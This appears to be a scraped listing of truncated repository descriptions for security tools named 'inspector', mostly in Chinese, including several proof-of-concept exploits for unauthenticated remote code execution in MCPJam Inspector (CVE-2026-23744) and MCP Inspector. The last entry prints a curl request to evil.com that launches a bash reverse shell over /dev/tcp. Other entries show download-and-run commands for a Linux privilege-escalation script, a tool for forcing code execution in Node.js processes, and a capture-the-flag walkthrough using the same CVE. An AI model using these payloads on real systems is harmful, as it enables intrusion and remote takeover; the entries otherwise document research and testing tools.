elfpeek

elfpeek 适用于快速二进制分析的最小化 ELF 查看器，附带交互式 REPL 为什么？ 并非 readelf 或 objdump 的替代品。只是一个用于常见逆向工程问题的快速、专注的工具： 二进制布局是什么？ 哪个段或节包含此地址？ 该虚拟地址对应的文件偏移量是多少？ 此位置有哪些字节？ 哪个函数拥有此地址？ 同时也是一个可读的 ELF 解析 C 语言示例。优雅地处理 stripped 和仅段（segment-only）的二进制文件。 特性 交互式 REPL ，支持 readline（历史记录、行编辑） 动态彩色提示符 — 显示当前文件：elfpeek:ls 彩色十六进制转储 —...

Exploit for Missing Authentication for Critical Function in Mcpjam Inspector

CVE-2026-...

ApplicationInspector

简介 Microsoft Application Inspector 是一个软件源代码特征分析工具，帮助识别第一方或第三方软件组件的编码特征 ，基于已知的库/API调用，在安全和非安全用例中都有帮助。它使用数百条规则和正则表达式模式来揭示源代码中有趣的特征，帮助确定软件是什么 或它做什么 ，从它使用的文件操作、加密、Shell操作、云API、框架等方面进行判断，并且作为一项新的有价值的OSS贡献受到了行业关注，出现在ZDNet、SecurityWeek、CSOOnline、Linux.com/news、HelpNetSecurity、Twitter 等媒体上，并首次在...

CVE-2026-23744

CVE-2026-23744 — MCPJam Inspector 未授权 RCE CVE-2026-23744 的未授权远程代码执行 PoC。MCPJam Inspector 1.4.2 及更早版本通过 /api/mcp/connect 暴露了相关功能，可在无需认证的情况下启动由攻击者控制的 MCP 服务器命令。 仅限授权测试和研究使用。请勿将其用于你不拥有或未经明确许可进行测试的系统。 功能说明 HTTP POST - /api/mcp/connect - serverConfig command - process launch - command execution 1...

CVE-2026-23744-PoC

描述 MCPJam inspector 是面向 MCP 服务器的本地优先开发平台。1.4.2 及更早版本存在远程代码执行（RCE）漏洞，攻击者可发送精心构造的 HTTP 请求，触发 MCP 服务器的安装，从而导致 RCE。由于 MCPJam inspector 默认监听 0.0.0.0 而非 127.0.0.1，攻击者可通过简单的 HTTP 请求远程触发 RCE。1.4.3 版本已包含修复补丁。 受影响版本 漏洞来源| 受影响版本| 已修补版本 ---|---|--- @mcpjam/inspector| 'id /tmp/mcpjampwned.txt' 截图 !\Pasted ima...

aura-inspector

aura-inspector 这不是一款官方支持的 Google 产品。该项目不符合 Google 开源软件漏洞奖励计划 的参与资格。 简介 aura-inspector 是 Salesforce Experience Cloud 测试的瑞士军刀。它有助于发现配置错误的 Salesforce Experience Cloud 应用程序，并自动执行大量测试过程。更多信息，请参阅 Mandiant 博客文章：Auditing Salesforce Aura Data Exposure。 其部分功能包括： 从访客和已认证上下文中发现可访问的记录 能够使用未记录的 GraphQL Aura...

BucketLoot

BucketLoot 一款自动化 S3 兼容 Bucket 检查工具 描述 • 安装 • 功能 • 文档 • 致谢 描述 BucketLoot 是一款自动化 S3 兼容 Bucket 检查工具，能够帮助用户从公开暴露的存储桶中提取资产、标记机密泄露，甚至搜索自定义关键词和正则表达式，通过扫描以纯文本形式存储数据的文件来实现。 该工具可以扫描部署在 Amazon Web Services AWS、Google Cloud Storage GCS、DigitalOcean Spaces 以及可能连接到这些平台的自定义域名/URL 上的存储桶。它会以 JSON...

gadgetinspector

Gadget Inspector 该项目用于检查 Java 库和类路径中的利用链。利用链用于构建反序列化漏洞的利用程序。通过自动发现应用程序类路径中可能存在的利用链，渗透测试人员可以快速构建利用程序，应用程序安全工程师可以评估反序列化漏洞的影响并优先修复。 该项目曾在 Black Hat USA 2018 上展示。欲了解更多信息，请前往查看！（链接待定） 免责声明：该项目目前处于 alpha 阶段。需要添加测试和文档。欢迎通过添加测试或文档来提供帮助！ 构建 假设你的系统已安装 JDK，只需运行 ./gradlew shadowJar 即可。然后可以使用 java -jar...

Inspector

Privilege Escalation unix helper 摘要 Inspector 是一个用于帮助 Linux 环境权限提升的 Python 脚本。启动后，该脚本会搜索内核版本并检查是否存在漏洞利用程序，加载 bash、zsh、mysql 等文件的历史记录，并加载以 root 用户运行的程序列表。 下载到服务器 wget https://raw.githubusercontent.com/graniet/Inspector/master/inspector.py 执行 Inspector python inspector.py 或者下载并执行 curl...

inspector

MCP Inspector A developer tool for inspecting Model Context Protocol MCP servers. It ships as a single package, @modelcontextprotocol/inspector, that provides three ways to inspect a server: Web — a Vite + React + Mantine single-page app with a Node backend. CLI — a scriptable command-line client...

procinfo

procinfo Un inspector de procesos portátil para Linux y macOS. ¡Obtén detalles de cualquier proceso en ejecución al instante! Consulta también procinfominimal.sh: implementación pura en sh de procinfo. Instalación curl -fsSL https://raw.githubusercontent.com/wenekar/procinfo/main/procinfo.sh -o...

MCP Inspector < 0.14.0 UnauthenticatedRemote Code Execution

The MCP inspector is a developer tool for testing and debugging MCP servers. Versions of MCP Inspector below 0.14.1 are vulnerable to remote code execution due to lack of authentication between the Inspector client and proxy, allowing unauthenticated requests to launch MCP commands over stdio. id...

shed

Shed - .NET runtime inspector Shed is an application that allow to inspect the .NET runtime of a program in order to extract useful information. It can be used to inspect malicious applications in order to have a first general overview of which information are stored once that the malware is...

onioff

██████╗ ███╗ ██╗██╗ ██████╗ ███████╗███████╗ ██╔═══██╗████╗ ██║██║██╔═══██╗██╔════╝██╔════╝ ██║ ██║██╔██╗ ██║██║██║ ██║█████╗ █████╗ ██║ ██║██║╚██╗██║██║██║ ██║██╔══╝ ██╔══╝ ╚██████╔╝██║ ╚████║██║╚██████╔╝██║ ██║ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ v2.0 A simple tool - written in pure python - f...

jscythe

jscythe 滥用 Node.js 的检查器机制，以强制任何基于 Node.js/Electron/v8 的进程执行任意 JavaScript 代码，即使其调试功能已被禁用。 已在 Visual Studio Code、Discord、任何 Node.js 应用程序等环境中测试并运行！ 使用方法 1. 定位目标进程。 2. 向进程发送 SIGUSR1 信号，这将在某个端口上启用调试器（具体端口取决于软件，有时是随机的，有时是固定的）。 3. 通过对比发送 SIGUSR1 前后的开放端口差异，确定调试端口。 4. 从 http://localhost:/json 获取 WebSocket...

protobuf-inspector

protobuf-inspector 能够解析 Google Protobuf 编码的二进制数据（版本 2 或 3）的简单程序，无需事先知道其对应的定义。它会打印出内容之美观的彩色表示。示例： 如你所见，字段名称显然丢失了，同时一些高层细节也丢失了，例如： varint 是否使用 zig-zag 编码（默认假设不使用 zig-zag） 32位/64位值是整数还是浮点数（默认同时显示） 有符号性（默认自动检测） 但 protobuf-inspector...

cansina

Cansina Cansina is a Web Content Discovery Application. It is well known Web applications don't publish all their resources or public links, so the only way to discover these resources is requesting for them and check the response. Cansina duty is to help you making requests and filtering and...

DevHub-HTB-Walkthrough

DevHub – HTB 通关攻略（中等难度 Linux） 靶机： DevHub 难度： 中等 操作系统： Linux 主题： CVE-2026-23744、Chisel 隧道、Jupyter、Flask API、Root 权限提升 📌 1. 信息收集 nmap -sC -sV devhub.htb 结果： 端口 22（SSH） 端口 80（HTTP） 端口 6274（MCPJam Inspector） 📌 2. 修改 hosts 文件 echo "10.x.x.x devhub.htb" /etc/hosts 📌 3. 探索网站 http://devhub.htb/ → 着陆页...

MCP-Inspector-CVE-2025-49596

MCP Inspector CVE-2025-49596 漏洞检测器 该脚本用于检测 MCP Inspector 服务器是否受到 CVE-2025-49596 漏洞影响，该安全问题表现为 /sse 端点响应未经身份验证的请求（缺少身份验证令牌）。 工作原理 脚本向目标 MCP Inspector 服务器的 /sse 端点发送 GET 请求。 检查响应： 如果服务器返回 HTTP 200 OK 且未要求提供身份验证令牌 ，则很可能存在漏洞。 如果服务器返回 HTTP 401 Unauthorized，则很可能已修补（v0.14.1+）。 其他响应则报告为意外情况。 依赖要求 Python...

CVE-2026-23744-PoC

CVE-2026-23744-PoC 关于MCP Server漏洞的PoC。 自动生成带有正确正文的帖子部分。 漏洞路径： /api/mcp/connect 通过curl的方法： curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data '"serverConfig":"command":"bash","args":"-c","bash -i & /dev/tcp/TUIP/TUPUERTO 0&1","env":,"serverId":"pruebaxd"'...